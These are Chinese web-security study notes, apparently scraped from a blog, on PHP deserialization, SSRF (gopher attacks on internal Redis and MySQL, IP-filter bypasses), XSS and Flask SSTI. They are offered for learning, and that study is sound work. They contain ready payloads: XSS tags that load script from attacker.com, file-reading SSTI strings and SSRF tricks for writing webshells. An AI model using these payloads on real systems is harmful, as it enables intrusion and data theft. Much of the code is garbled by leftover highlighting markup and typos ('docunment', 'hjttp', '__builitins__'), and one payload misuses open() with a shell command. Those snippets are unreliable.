0:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

题目中有just4fun类,类中有enter,secret属性,$secret属性位置,php中存在引用,通过 & 表示,&$a引用“$a”的值,内存中是指向变量的地址,序列化字符串中用 R 来表示引用类型。
初始化时,利用“&”enter指向secret的地址
生成的payload中,存在“s:6:"secret";R:2”,通过引用的方式将两者的属性值成为同一个值

Exception绕过

有时会遇上throw问题,因为报错导致后面代码无法执行
B类中__destruct输出全局的flag变量反序列化点则在throw前。正常情况下,报错是使用throw抛出异常导致__destruct不会执行。但是通过改变属性为“O:1:"B":1:{1}”,解析出错,由于类名是正确的,就会调用该类名的__destruct,从而在throw前执行了__destruct

$line = trim(fgets(STDIN));
$flag = file_get_contents('/flag');
class B{
	function __destruct(){
	global $flag;
	echo $flag;
	}
}
$a = @unserialize($line);
throw new Exception('Well taht was unexpected...');
echo $a;

SSRF漏洞

SSRF(Server Side Request Forgery,服务端请求伪造)一种攻击者通过构造数据伪造服务器端发起请求的漏洞。请求是由内部发起的,所以SSRF漏洞攻击的目标是从外网无法访问的内部系统。SSRF漏洞形成的原因是服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,从而导致攻击者自由构造参数,发起预期外的请求。

SSRF原理解析

URL的构造

foo://example.com:8042/over/yhere?name=bar#nose
foo       				scheme 			协议
example.com:8042		authority 		主机
/over/there				path 			路径
?name=bar				query			参数
nose					fragment		嵌入在活动中的UI片段
scheme
由一串大小写不敏感的字符组成,表示获取资源所需要的协议

authority
userinfo遇到得比较少,可选项,一般HTTP使用匿名形式获取数据
如果需要进行身份验证,格式为username:password,以@结尾

host
表示在哪个服务器上获取资源,一般是以域名形式呈现
如baidu.com,也以IPv4、IPv6地址形式呈现

port
服务器端口
各协议都有默认端口
如HTTP的为80、FTP的为21
使用默认端口时,可以将端口省略

path
指向资源的路径,一般使用“/”进行分层

query
查询字符串,用户将用户输入数据传递给服务端,以“?”作为标识
向服务端传递用户名密码为“?username=admin&password=admin123”。

fragment
片段ID,与query不同
其内容不会被传递到服务端,一般表示页面的锚点

SSRF漏洞的测试和挖掘

SSRF漏洞一般出现在有调用外部资源的场景中,社交服务分享功能、图片识别服务、网站采集服务、远程资源请求(如wordpress xmlrpc.php)、文件处理服务(如XML解析)等。对存在SSRF漏洞的应用进行测试时,可以尝试是否能控制、支持常见的协议,包括但不限于以下协议。

file://:从文件系统中获取文件内容
如:file:///etc/passwd。

dict://:字典服务器协议,让客户端能够访问更多字典源
在SSRF中可以获取目标服务器上运行的服务版本等信息

gopher://:分布式的文档传递服务,在SSRF漏洞攻击中作用非常大。
使用Gopher协议时,通过控制访问的URL可实现向指定的服务器发送任意内容
如HTTP请求、MySQL请求等

网络安全笔记_第1张图片
SSRF漏洞-攻击方式

内部服务资产探测

SSRF漏洞可以直接探测网站所在服务器端口的开放情况甚至内网资产情况,确定该处存在SSRF漏洞,可以通过确定请求成功与失败的返回信息进行判断服务开放情况

使用Gopher协议扩展攻击面

攻击Redis

Redis运行在内网,使用者将其绑定于127.0.0.1:6379,一般是空口令。攻击者通过SSRF漏洞未授权访问内网Redis,可能导致任意增、查、删、改其中的内容,甚至利用导出功能写入Crontab、Webshell和SSH公钥(使用导出功能写入的文件所有者为redis的启动用户,一般启动用户为root,如果启动用户权限较低,将无法完成攻击)。
Redis是一条指令执行一个行为,如果其中一条指令是错误的,那么会继续读取下一条,所以如果发送的报文中可以控制其中一行,就可以将其修改为Redis指令,分批执行指令,完成攻击。如果可以控制多行报文,那么可以在一次连接中完成攻击。

攻击MySQL

攻击内网中的MySQL,需要了解其通信协议。MySQL分为客户端和服务端,由客户端连接服务端有4种方式:UNIX套接字、内存共享、命名管道、TCP/IP套接字
进行攻击依靠第4种方式,MySQL客户端连接时会出现两种情况,是否需要密码认证。需要进行密码认证时,服务器先发送salt,然后客户端使用salt加密密码再验证。当不需进行密码认证时,将直接使用第4种方式发送数据包。所以,在非交互模式下登录操作MySQL数据库只能在空密码未授权的情况下进行。

PHP-FPM攻击

目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用有错误的Nginx配置的情况下,通过恶意构造的数据包,可让PHP-FPM执行任意代码。
当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。当fastcgi_split_path_info字段被配置为 ^(.+?\.php)(/.*)$;时,可造成远程代码执行漏洞。

攻击内网中的脆弱WEB应用

内网中的Web应用因为无法被外网的攻击者访问到,所以往往会忽视其安全威胁。

使用Gopher协议扩展攻击面

目前已经有人总结出多种协议并写出自动转化的脚本,所以大部分情况下不需要再手动进行抓包与转换。

推荐工具:
https://github.com/tarunkant/Gopherus

自动组装Gohper

该工具可以生成以下服务的payload:
	MySQL (Port-3306)
	PostgreSQL(Port-5432)
	FastCGI (Port-9000)
	Memcached (Port-11211)	Redis (Port-6379)
	Zabbix (Port-10050)
	SMTP (Port-25)

SSRF漏洞-防御绕过

IP的限制

使用Enclosed alphanumerics代替IP中的数字或网址中的字母,或者使用句号代替点
如果服务端过滤方式使用正则表达式过滤属于内网的IP地址,尝试将IP地址转换为进制的方式绕过,将127.0.0.1转换为十六进制后进行请求,可以将IP地址转换为十进制、八进制、十六进制,分别为2130706433、17700000001、7F000001。在转换后进行请求时,十六进制前需加0x,八进制前需加0,转换为八进制后开头所加的0可以为多个,IP地址有一些特殊的写法,在Windows下,0代表0.0.0.0,而在Linux下,0代表127.0.0.1,某些情况下可以用http://0进行请求127.0.0.1。类似127.0.0.1这种中间部分含有0的地址,可以将0省略。

302跳转

网络上存在名叫xip.io的服务,访问这个服务的任意子域名时,都会重定向到这个子域名,如127.0.0.1.xip.io,会解析到127.0.0.1
这种方式存在一个问题,在传入的URL中存在关键字127.0.0.1,一般会被过滤,可以使用短网址将其重定向到指定的IP地址短网址https://dwurl.cn/pJu3vw,。有时服务端可能过滤了很多协议,传入的URL中只允许出现“http”或“https”,可以在自己的服务器上写一个302跳转利用Gopher协议攻击内网的Redis

curl -v http://baidu.127.0.0.1.xip.io
* Rebuilt URL to :http://baidu.127.0.0.1.xip.io/
*	Trying 127.0.0.1 ...
* TCP_NODELAY set
* connect to 127.0.0.1 port 80 failed: Connention refuesd
* Failed to connect to baidu.127.0.0.1.xip.io prot 80:Connection refused
* Closing connection 0
curl: (7) Failed to connect to baidu.127.0.0.1.xip.io port 80:Connection refused

XSS

跨站脚本攻击(Cross-Site Scripting,XSS)网站应用程序的安全漏洞攻击,代码注入的一种,允许用户将恶意代码注入网页,其他用户在观看网页时会受到影响。这类攻击通常包含HTML和用户端脚本语言。XSS攻击通常是通过利用网页开发时留下的漏洞巧妙注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。恶意网页程序通常是JavaScript,实际上可以包括Java、VBScript、ActiveX、Flash或者普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)私密网页内容、会话和Cookie等内容。XSS攻击是代码注入的一种。很多网站给关键Cookie增加了HTTP Only属性,导致执行JavaScript无法获得用户的登录凭证(即无法通过XSS攻击窃取Cookie登录对方账号),虽然同源策略限制了JavaScript跨域执行的能力,但是XSS攻击依然可以理解为在用户浏览器上的代码执行漏洞,实现模拟用户的操作(文件上传等请求)

反射/存储型XSS

根据XSS漏洞点的触发特征
XSS可以粗略分为反射型XSS、存储型XSS

反射型XSS通常是指恶意代码未被服务器存储
每次触发漏洞的时候都将恶意代码通过GET/POST方式提交,触发漏洞。

存储型XSS则相反,恶意代码被服务器存储
在访问页面时会直接被触发(如留言板留言等场景)

一个简单的反射型XSS,变量输入点没有任何过滤直接在HTML内容中输出,可以向网页中注入恶意的标签和代码,实现功能。但是这样的payload会被Google Chrome等浏览器直接拦截,无法触发,因为这样的请求(GET参数中的JavaScript标签代码直接打印在HTML中)符合Google Chrome浏览器XSS过滤器(XSS Auditor)的规则,被直接拦截。换用FireFox浏览器,输入的数据被拼接到HTML内容中,被输出到一些特殊的位置,如标签属性、JavaScript变量的值,此时通过闭合标签或者语句可以实现payload的逃逸。又如,输入被输出到了标签属性的值中,通过在标签属性中注入on事件,可以执行恶意代码

<!DOCTUPE html>


	hello<<span class="token operator">/</span>title>
<<span class="token operator">/</span>head>
<body>
	<h1>hello <span class="token punctuation">{</span>输入点<span class="token punctuation">}</span><<span class="token operator">/</span>h1>
<<span class="token operator">/</span>body>
<<span class="token operator">/</span>html>
</code></pre> 
  <pre><code class="prism language-powershell"><<span class="token operator">!</span>DOCTUPE html>
<html>
<head>
	<title>hello<<span class="token operator">/</span>title>
<<span class="token operator">/</span>head>
<body>
	<h1>hello <script>alert<span class="token punctuation">{</span><span class="token string">"hello xss"</span><span class="token punctuation">}</span><<span class="token operator">/</span>script><<span class="token operator">/</span>h1>
<<span class="token operator">/</span>body>
<<span class="token operator">/</span>html>
</code></pre> 
  <p>输入被输出到<code>JavaScript变量中</code>,这时可以<code>构造输入,闭合前面的双引号</code>,引入恶意代码</p> 
  <pre><code class="prism language-powershell"><?php
	<span class="token variable">$name</span> = <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
?>
<<span class="token operator">!</span>DOCTYPE html>
<html>
<head>
	<title>hello<<span class="token operator">/</span>title>
<<span class="token operator">/</span>head>
<body>
	<script <span class="token function">type</span>=<span class="token string">"text/javascript"</span>>
		<span class="token keyword">var</span> username = <span class="token string">"<?=<span class="token variable">$name</span>?>"</span>>
		docunment<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">.</span>username<span class="token punctuation">)</span><span class="token punctuation">;</span>
	<<span class="token operator">/</span>script>
<<span class="token operator">/</span>body>
<<span class="token operator">/</span>html>
</code></pre> 
  <p>输入原封不动地被输出在页面中,通过构造参数,使输入中的恶意数据混入JavaScript代码中执行</p> 
  <pre><code class="prism language-powershell">这也是很多漏洞的根源所在

没有很好地区分开代码和数据,导致攻击者可以利用系统的缺陷
构造输入,进而在系统上执行任意代码。
</code></pre> 
  <h2>DOM XSS</h2> 
  <p>DOM XSS是页面中原有的JavaScript代码执行后,需要进行<code>DOM树节点的增加或元素的修改</code>,<code>引入被污染的变量</code>,<code>导致XSS</code>,功能是获取<code>imgurl参数中的图片链接</code>,然后拼接出一个图片标签并显示到网页中,输入并不会直接被打印到页面中被解析,而是等页面中原先的JavaScript执行后取出可控的变量,拼接恶意代码并写入页面中才会被触发。恶意代码最终被拼接到了img标签中并被执行。</p> 
  <pre><code class="prism language-powershell"><<span class="token operator">!</span>DOCTYPE html>
<html>
<head>
	<title>image display<<span class="token operator">/</span>title>
<<span class="token operator">/</span>head>
<body>
	<script <span class="token function">type</span>=<span class="token string">"text/javascript"</span>>
		<span class="token keyword">function</span> getUrlParam<span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">{</span>
			<span class="token keyword">var</span> reg = new RegExp<span class="token punctuation">(</span><span class="token string">"(^|&"</span><span class="token punctuation">)</span><span class="token string">" + name + "</span>=<span class="token punctuation">(</span><span class="token punctuation">[</span>^&<span class="token punctuation">)</span><span class="token operator">*</span><span class="token punctuation">(</span>&<span class="token punctuation">|</span>$<span class="token punctuation">)</span><span class="token string">");
			var r = window.location.search.substr(1).match(reg);
			if (r != null) return decodeURL(r[2]); return null;
		}
		var imgurl = getUrlParam("</span>imgurl<span class="token string">");
		var imagehtml = "</span><img src=<span class="token string">'"+imgurl+"'</span> <span class="token operator">/</span>>"<span class="token punctuation">;</span>
		document<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>imagehtml<span class="token punctuation">)</span><span class="token punctuation">;</span>
	<<span class="token operator">/</span>script>
<<span class="token operator">/</span>body>
<<span class="token operator">/</span>html>	
</code></pre> 
  <h2>其他</h2> 
  <h2>决定上传的文件能否被浏览器解析成HTML代码的关键是HTTP响应头中的元素<code>Content-Type</code>,无论上传的文件是什么样的后缀被保存在服务器上,只要访问上传文件返回的<code>Content-type是text/html</code>,就可以成功被浏览器解析并执行。Flash文件的<code>application/x-shockwave-flash</code>也可以被执行XSS。浏览器会<code>默认把请求响应当作HTML内容解析</code>,<code>空的和畸形的Content-type</code>,由于浏览器之间存在差异,因此在实际环境中要<code>多测试</code>。<code>Google Chrome中的空Content-type会被认为是text/html,也是可以弹框的</code><br> <a href="http://img.e-com-net.com/image/info8/83406dc1abb0439695f1365787f5fb02.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/83406dc1abb0439695f1365787f5fb02.jpg" alt="网络安全笔记_第2张图片" width="626" height="353" style="border:1px solid black;"></a><br> XSS的tricks</h2> 
  <h2>可以用来执行XSS的标签</h2> 
  <p>基本上所有的标签都可以使用<code>on事件来触发恶意代码</code>,另一个比较常用的是<code>img标签</code>,由于页面不存在路径为/x的图片,因此直接会加载出错,<code>触发onerror事件</code>并执行代码。</p> 
  <pre><code class="prism language-powershell"><h1 οnmοusemοve=<span class="token string">"alert('mobed!')"</span>>this is a title<<span class="token operator">/</span>h1>
<img src=x οnerrοr=<span class="token string">"alert('error')"</span> <span class="token operator">/</span>>

<script src=<span class="token string">"http://attacker.com/a.js"</span>><<span class="token operator">/</span>script>
<script>alert<span class="token punctuation">(</span>1<span class="token punctuation">)</span><<span class="token operator">/</span>script>
<link rel=<span class="token string">"import"</span> herf=<span class="token string">"http://attacker.com/1.html"</span>>
<iframe src=<span class="token string">"javascript:alert(1)"</span>><<span class="token operator">/</span>iframe>
<a href=<span class="token string">"javascript:alert(1)"</span>>click<<span class="token operator">/</span>a>
<svg/οnlοad=alert<span class="token punctuation">(</span>1<span class="token punctuation">)</span>>
</code></pre> 
  <h2>HTML5特性的XSS</h2> 
  <p>HTML5的某些特性可以参考网站<code>http://html5sec.org/</code><br> 很多标签的<code>on时间触发</code>是需要<code>交互</code>的,如<code>鼠标滑过点击,标签的autofocus属性会自动使光标聚焦于此</code>,不需交互就可以触发onfocus事件。两个input元素<code>竞争焦点</code>,当<code>焦点到另一个input元素</code>时,前面的会触发blur事件。</p> 
  <pre><code class="prism language-powershell"><input οnfοcus=<span class="token function">write</span><span class="token punctuation">(</span>1<span class="token punctuation">)</span> autofocus>
<input οnblur=<span class="token function">write</span><span class="token punctuation">(</span>1<span class="token punctuation">)</span> autofocus><input autofocus>
</code></pre> 
  <h2>伪协议与XSS</h2> 
  <p>在浏览器中使用HTTP/HTTPS协议来访问网站,但是在一个页面中,鼠标悬停在一个超链接上时,会看到这样的链接:<code>javascript:void(0)</code>。这是用<code>JavaScript伪协议</code>实现的。如果手动单击,或者页面中的JavaScript执行跳转到JavaScript伪协议时,浏览器不会去访问这个地址,而是<code>把“javascript:”</code>后的内容当作JavaScript代码,在当前页面执行。对于这样的标签:单击这个标签时不会跳转到其他网页,直接在当前页面执行<code>alert(1)</code>,<code>除了直接用a标签单击触发,JavaScript协议触发的方式还有很多</code>。利用JavaScript进行页面跳转时,<code>跳转的协议使用JavaScript伪协议也能进行触发</code>,如果在一些<code>登录/退出</code>业务中存在这样的代码:即跳转的地址是我们可控的,我们就能控制跳转的地址到JavaScript伪协议,从而实现XSS攻击<br> <code>iframe标签和form标签也支持JavaScript伪协议</code>,不同的是,<code>iframe标签不需交互即可触发</code>,<code>form标签需要在提交表单时才会触发</code>。除了JavaScript伪协议,还有其他伪协议可以在iframe标签中实现类似的效果。比如,data伪协议:</p> 
  <pre><code class="prism language-powershell"><a href=<span class="token string">"javascript:alert(1)"</span>>click<<span class="token operator">/</span>a>

<iframe src = <span class="token string">"data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="</span>><<span class="token operator">/</span>iframe>

<script <span class="token function">type</span>=<span class="token string">"text/javascript"</span>>
	location<span class="token punctuation">.</span>href=<span class="token string">"javascript:alert(document.domain)"</span><span class="token punctuation">;</span>
<<span class="token operator">/</span>script>

<<span class="token operator">!</span>DOCTYPE html>
<html>
<head>
	<title>logout<<span class="token operator">/</span>title>
<<span class="token operator">/</span>head>

<body>
	<script <span class="token function">type</span>=<span class="token string">"text/javascript"</span>>
		<span class="token keyword">function</span> getUrlParam<span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">{</span>
			<span class="token keyword">var</span> reg = new RegExp<span class="token punctuation">(</span><span class="token string">"(^|&)"</span> <span class="token operator">+</span> name <span class="token operator">+</span> <span class="token string">"=([^&]*)(&|$)"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
			<span class="token keyword">var</span> r = window<span class="token punctuation">.</span>location<span class="token punctuation">.</span>search<span class="token punctuation">.</span>substr<span class="token punctuation">(</span>1<span class="token punctuation">)</span><span class="token punctuation">.</span>match<span class="token punctuation">(</span>reg<span class="token punctuation">)</span>
			<span class="token keyword">if</span><span class="token punctuation">(</span>r <span class="token operator">!</span>= null<span class="token punctuation">)</span>
				<span class="token keyword">return</span> decodeURL<span class="token punctuation">(</span>r<span class="token punctuation">[</span>2<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
			<span class="token keyword">return</span> null<span class="token punctuation">;</span>
		<span class="token punctuation">}</span>
		<span class="token keyword">var</span> jumpurl = getUrlParam<span class="token punctuation">(</span><span class="token string">"jumpurl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		document<span class="token punctuation">.</span>loaction<span class="token punctuation">.</span>href=jumpurl<span class="token punctuation">;</span>
	<<span class="token operator">/</span>script>
<<span class="token operator">/</span>body>
<<span class="token operator">/</span>html>

<iframe src=<span class="token string">"javascript:alert(1)"</span>><<span class="token operator">/</span>iframe>
<form action=<span class="token string">"javascript"</span>alert<span class="token punctuation">(</span>1<span class="token punctuation">)</span>"><<span class="token operator">/</span>form>

</code></pre> 
  <h2>二次渲染导致的XSS</h2> 
  <p>后端语言如<code>flask的jinja2</code>使用不当时,可能存在<code>模板注入</code>,前端也可能因为这样的原因形成XSS。例如,在<code>AngularJS</code>中,代码会将参数t直接输出到AngularJS的模板中,在我们访问页面时,JavaScript会解析模板中的代码,可以得到一个前端的模板注入。AngularJS引擎解析了表达式“3*3”并打印了结果。借助沙箱逃逸,能达到执行任意JavaScript代码的目的。这样的XSS是因为前端对某部分输出进行了<code>二次渲染</code>导致的,所以没有script标签这样的特征,也就不会被浏览器随意的拦截</p> 
  <pre><code class="prism language-powershell"><?php
	<span class="token variable">$name</span> = <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
	<span class="token variable">$name</span> = htmlentities<span class="token punctuation">(</span><span class="token variable">$name</span><span class="token punctuation">,</span>ENT_QUOTES<span class="token punctuation">)</span><span class="token punctuation">;</span>
	<span class="token variable">$address</span> = <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'addr'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
	<span class="token variable">$address</span> = htmlentities<span class="token punctuation">(</span><span class="token variable">$address</span><span class="token punctuation">,</span>ENT_QUOTES<span class="token punctuation">)</span><span class="token punctuation">;</span>
?>
<<span class="token operator">!</span>DOCTYPE html>
<html>
<head>
	<meta charset=<span class="token string">"gb18030"</span>>
	<title><<span class="token operator">/</span>title>
<<span class="token operator">/</span>head>
<body>
	<script <span class="token function">type</span>=<span class="token string">"text/javascript"</span>>
		<span class="token keyword">var</span> url = <span class="token string">'http://null.com/?name=<?=$name?>'</span><span class="token operator">+</span><span class="token string">'<?=$address?>'</span><span class="token punctuation">;</span>
	<<span class="token operator">/</span>script>
<<span class="token operator">/</span>body>
<<span class="token operator">/</span>html>
</code></pre> 
  <pre><code class="prism language-powershell"><?php
	<span class="token variable">$template</span> = <span class="token string">"hellp {{name}}"</span><span class="token punctuation">.</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'t'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
?>
<<span class="token operator">!</span>DOCTYPE html>
<html>
<head>
	<meta charset=<span class="token string">"utf-8"</span>>
	<script src=<span class="token string">"hjttp://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"</span>><<span class="token operator">/</span>script>
<<span class="token operator">/</span>head>
<body>
	<div ng=app=<span class="token string">""</span>>
		<p>名字: <input <span class="token function">type</span>=<span class="token string">"text"</span> ng-model=<span class="token string">"name"</span>><<span class="token operator">/</span>p>
		<h1><?=<span class="token variable">$template</span>?><<span class="token operator">/</span>h1>
	<<span class="token operator">/</span>div>
<<span class="token operator">/</span>body>
<<span class="token operator">/</span>html>
</code></pre> 
  <h2>XSS过滤和绕过</h2> 
  <p>过滤的两个层为<code>WAF层、代码层</code>。<br> WAF(Web Application Firewall,Web应用防火墙)层通常在<code>代码外</code>,主机层对HTTP应用请求一个<code>过滤拦截器</code><br> 代码层则在代码中<code>直接实现</code>对用户输入的过滤或者<code>引用</code>第三方代码对用户输入进行过滤。JavaScript非常灵活,所以对于普通的正则匹配,字符串对比很难拦截XSS漏洞。过滤的时候一般会面临多种场景。</p> 
  <h2>SSTI</h2> 
  <p>Python的Web应用涉及模板的使用,如<code>Tornado、Flask、Django</code>。服务器端需要向用户端发送一些动态的数据。与直接用<code>字符串拼接</code>的方式不同,模板引擎通过<code>对模板进行动态的解析</code>,将传入模板引擎的变量进行<code>替换</code>,最终展示给用户<br> SSTI服务端模板注入是因为代码中<code>通过不安全的字符串拼接的方式</code>来构造模板文件而且过分信任用户的输入造成的<br> 大多数模板引擎自身没有什么问题,在审计时<code>重点是找到一个模板</code>,这个模板通过<code>字符串拼接而构造</code>,而且用户输入的数据会影响字符串拼接过程。</p> 
  <h2>Flask</h2> 
  <p>处理怀疑含有模板注入的漏洞的网站时,先关注<code>render_*这类函数</code>,观察其参数是否为<code>用户可控</code>。如果存在<code>模板文件名可控</code>的情况,配合<code>上传漏洞</code>,构造模板,则完成模板注入。</p> 
  <pre><code class="prism language-python"><span class="token keyword">from</span> flask <span class="token keyword">import</span> Flask
<span class="token keyword">from</span> flask <span class="token keyword">import</span> render_template
<span class="token keyword">from</span> flask <span class="token keyword">import</span> request
<span class="token keyword">from</span> flask <span class="token keyword">import</span> render_<span class="token operator">-</span>template_string

app <span class="token operator">=</span> Flask<span class="token punctuation">(</span>__name__<span class="token punctuation">)</span>
<span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">'/test'</span><span class="token punctuation">,</span>methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">'GET'</span><span class="token punctuation">,</span><span class="token string">'POST'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
	template <span class="token operator">=</span> <span class="token triple-quoted-string string">'''
		<div class="center-content error">
			<h1>Oops! That page doesn't exist.</h1>
			<h3>%s</>
		<div>
	'''</span> <span class="token operator">%</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>url<span class="token punctuation">)</span>

	<span class="token keyword">return</span> render_template_string<span class="token punctuation">(</span>template<span class="token punctuation">)</span>

<span class="token keyword">if</span> __name__ <span class="token operator">=</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
	app<span class="token punctuation">.</span>debug <span class="token operator">=</span> <span class="token boolean">True</span>
	app<span class="token punctuation">.</span>run<span class="token punctuation">(</span><span class="token punctuation">)</span>		
</code></pre> 
  <p>应先关注<code>render_template_string(template)函数</code>,参数<code>template</code>通过<code>格式化字符串的方式构造</code>,其中<code>request.url没有任何过滤</code>,直接由<code>用户控制</code>。<br> 直接在<code>URL中传入恶意代码</code>,如<code>“{{self}}”</code>,拼接至template中。由于模板在渲染时服务器会<code>自动寻找服务器渲染时上下文的有关内容</code>,将其填充到模板中,导致<code>敏感信息的泄露</code>,甚至<code>执行任意代码的问题</code>。通过本地搭建与服务器相同的环境,查看渲染时上下文的信息,这时最简单的利用是用<code>{{variable}}</code>将上下文的<code>变量导出</code>,更好的利用方式是找到可以<code>直接利用的库或函数</code>,或者通过<code>上文提到的继承等寻找对象的手段</code>,从而完成任意代码的执行。</p> 
  <h2>常用函数</h2> 
  <pre><code class="prism language-python">__class__ 			返回调用的参数类型
__bases__ 			返回类型列表
__mro__ 			此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__<span class="token punctuation">(</span><span class="token punctuation">)</span> 	返回<span class="token builtin">object</span>的子类
__globals__ 		函数会以字典类型返回当前位置的全部全局变量 与 func_globals 		等价
</code></pre> 
  <h2>Python安全</h2> 
  <h2>使用继承等寻找对象</h2> 
  <p>在Python中,<code>一切都是对象</code>,可以使用Python的<code>内置方法</code>找到对象的父类和子类</p> 
  <pre><code class="prism language-python"><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__class__是<span class="token operator"><</span><span class="token keyword">class</span><span class="token string">'list'</span><span class="token operator">></span>

<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__class__<span class="token punctuation">.</span>__mro__是(<span class="token operator"><</span><span class="token keyword">class</span><span class="token string">'list'</span><span class="token operator">></span><span class="token operator"><</span><span class="token keyword">class</span><span class="token string">'object'</span><span class="token operator">></span>)

<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__class__<span class="token punctuation">.</span>__mro__<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__subclasses__<span class="token punctuation">(</span><span class="token punctuation">)</span>可以找到<span class="token builtin">object</span>所有子类。

比如,第<span class="token number">40</span>项是<span class="token builtin">file</span>对象
(实际的索引可能不同,需要动态识别)可以用于读写文件。
</code></pre> 
  <p>Python中<code>直接使用不需要import的函数</code>,如<code>open、eval</code>属于全局的<code>module__builtins__</code>,所以可以尝试<code>__builtins__.open()</code>等用法。若函数被删除了,还可以使用<code>reload()</code>函数找回。</p> 
  <pre><code class="prism language-python"><span class="token operator">>></span><span class="token operator">></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__class__<span class="token punctuation">.</span>__mro__<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__subclasses__<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">40</span><span class="token punctuation">]</span>
<span class="token operator"><</span><span class="token builtin">type</span> <span class="token string">'file'</span><span class="token operator">></span>
<span class="token operator">>></span><span class="token operator">></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__class__<span class="token punctuation">.</span>__mro__<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__subclasses__<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">40</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token string">"/etc/passwd"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token string">'##\n# User Database\n# \n......'</span>
builtins
</code></pre> 
  <pre><code class="prism language-python"><span class="token operator">>></span><span class="token operator">></span> <span class="token keyword">del</span> __builtins__<span class="token punctuation">.</span><span class="token builtin">open</span>
<span class="token operator">>></span><span class="token operator">></span> __builtins__<span class="token punctuation">.</span><span class="token builtin">open</span>
Traceback <span class="token punctuation">(</span>most recent call last<span class="token punctuation">)</span><span class="token punctuation">:</span>
	File <span class="token string">"<stdin>"</span><span class="token punctuation">,</span> line <span class="token number">1</span><span class="token punctuation">,</span> <span class="token keyword">in</span> <span class="token operator"><</span>module<span class="token operator">></span>
AttributeError<span class="token punctuation">:</span> <span class="token string">'module'</span> <span class="token builtin">object</span> has no attribute <span class="token string">'open'</span>
<span class="token operator">>></span><span class="token operator">></span> __builtins__<span class="token punctuation">.</span><span class="token builtin">open</span>
KeyboardInterrupt
<span class="token operator">>></span><span class="token operator">></span> <span class="token builtin">reload</span><span class="token punctuation">(</span>__builitins__<span class="token punctuation">)</span>
<span class="token operator"><</span>module <span class="token string">'__builtins__'</span> <span class="token punctuation">(</span>bulit<span class="token operator">-</span><span class="token keyword">in</span><span class="token punctuation">)</span><span class="token operator">></span>
<span class="token operator">>></span><span class="token operator">></span> __bulitins__<span class="token punctuation">.</span><span class="token builtin">open</span>
<span class="token operator">></span><span class="token operator"><</span>bulit<span class="token operator">-</span><span class="token keyword">in</span> function <span class="token builtin">open</span><span class="token operator">></span>
</code></pre> 
  <h2>SSTI模板注入</h2> 
  <h2>常见payload</h2> 
  <pre><code class="prism language-python">文件读取:
 python3
<span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>__class__<span class="token punctuation">.</span>__bases__<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__subclasses__<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">177</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__init__<span class="token punctuation">.</span>__globals__<span class="token punctuation">.</span>__builtins__<span class="token punctuation">[</span><span class="token string">'open'</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token string">'cat /fl4g|base64'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token punctuation">}</span>
<span class="token comment">#python2</span>
